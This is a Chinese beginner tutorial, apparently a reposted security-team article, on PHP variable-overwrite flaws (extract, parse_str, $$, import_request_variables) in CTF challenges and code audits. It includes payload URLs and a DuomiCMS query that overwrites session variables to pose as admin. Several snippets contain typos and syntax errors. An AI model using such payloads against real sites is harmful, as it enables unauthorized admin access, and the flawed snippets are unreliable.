食用须知:大佬直接退出关闭不要浪费时间,本文章适用于CTF比赛的web新手和初次入门代码审计的新手
代码审计的方式一般分为三种;一种是直接通篇阅读挨个对每一个功能点进行测试,第二种还有就是直接定位危险函数来快速找到利用点;第三种白盒和黑盒接合起来;通过传参路由来快速定位相关文件;最后再将过滤的规则进行分析;最坑的一点可以查找相关的历史漏洞,看新版本修复的是否完善;直接进行绕过
此篇文章定位是对于第二种直接定位的危险函数及对于不同场景的利用方式进行简单的分析与归纳,大佬可以直接退出关闭不要浪费时间;适用于CTF比赛的web代码审计题的快速查找还有简单的审计场景归纳;由于网络上的大部分解析内容枯燥且晦涩难懂,所以会以大白话的方式来解读;如果有错误可以提出来
一、变量覆盖
对于变量覆盖;代码审计当中碰到的固定函数extract()、parse_stra()、import_request_variables()、$$
extract-->将数组中的键和值拆分开来,键为变量名,值为变量值
parse_str()-->将查询字符串解析到变量中
以上不做过的多的阐述,下面看两道经典的题目
$flag='xxx';
extract($_GET);
if(isset($shiyan)) {
$content=trim(file_get_contents($flag));
if($shiyan==$content) {
echo'flag is:'flag{xxx}';
}else {
echo'error';
}
}
?>
flag本身就有值,get方法传输进来的值通过extrace()函数处理,它会把传进来的参数的键和值拆分开来,变成变量,判断是否存在$gift该变量,第六行将该文件读入字符串当中,然后再去其两边的空格,然后把上一行的变量$content的值与$shiyan比对一下
只要将其$content与$shiyan相等;但是$flag的值本来就设定好的,而且我们也没有看见传参于$shiyan的值;但是把传进来的参数给到变量名为shiyan就ok了。而$content可以进行变量覆盖
?shiyan=123&flag=123
这样子的话就给变成了$shiyan的值为123,原来的flag的值我们不知道,所以无法直接给出,只好将变量flag给变量覆盖成123
从网上找了个小例题
if (empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include (‘flag.php’);
$a = “www.OPENCTF.com”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != ‘QNKCDZO’ && md5($a[0]) == md5(‘QNKCDZO’)) {
echo $flag;
} else {
exit(‘其实很简单其实并不难!’);
}
}
对于parse_str函数简单的一个小示例
parse_str("name=zkaq&&age=60"); // test=123&gift=123
echo $name."<br>";
echo $age;
上面那一道题$a需要是一个数组;但是之前被设定值了,而且逻辑上需md5(‘QNKCDZO’)的结果是0e830400451993494058024219903391
md5('240610708')的结果是0e462097431906509019562988736854.
md5('QNKCDZO')的结果是0e830400451993494058024219903391.
相比之后就将其转换成0,所以md5('QNKCDZO') 与 md5('240610708') 相等
然后将它原来的变量a内容覆盖掉,所以只要传参
?id=a[0]=240610708,然后经过parse_str处理过后就解析成了变量将“www.OPENCTF.com”覆盖掉了
duomicms有一些cms当中的固定写法,就是下面这串代码
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
先是传递进来的值是可以作为变量的值,所以可以空值它进行变量覆盖,先是将其进行遍历,遍历到$_request当中然后变成$_GET,$_POST,$_COOKIE,最后进行拆分遍历,进行键值分离,将数组的键、值分别拿出来赋给变量 $key 和 $value
使用 Session ,就要存在 session_start() ,在全局搜索包含这个文件的且开启了 Session 的 ,既要保证开启session也要考虑包含该文件
然后在 index.php 中写入 die(var_dump($_SESSION)) 以获取管理员
session输出内容:array(5) { ["duomi_ckstr"]=> &string(4) "ozsr" ["duomi_ckstr_last"]=> &string(0) "" ["duomi_admin_id"]=> &string(1) "1" ["duomi_group_id"]=> &string(1) "1" ["duomi_admin_name"]=> &string(5) "admin" }
构造payload
http://127.0.0.1/Duomicms/interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
// This will import GET and POST vars
// with an "rvar_" prefix
import_request_variables("gp", "rvar_");
echo $rvar_foo;
<?php
$num=0;
//include 'flag.php';
('gp'); //导入get和post中变量
if($num=="xiaohua"){
echo 'flag{ xiaohua-2020-3-28}';
// echo $flag.php;
}else{
echo "NO!";
}
?>
payload:http://127.0.0.1/test.php?num=xiaohua
原文始发于微信公众号(HashRun安全团队):变量覆盖漏洞函数的简单分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论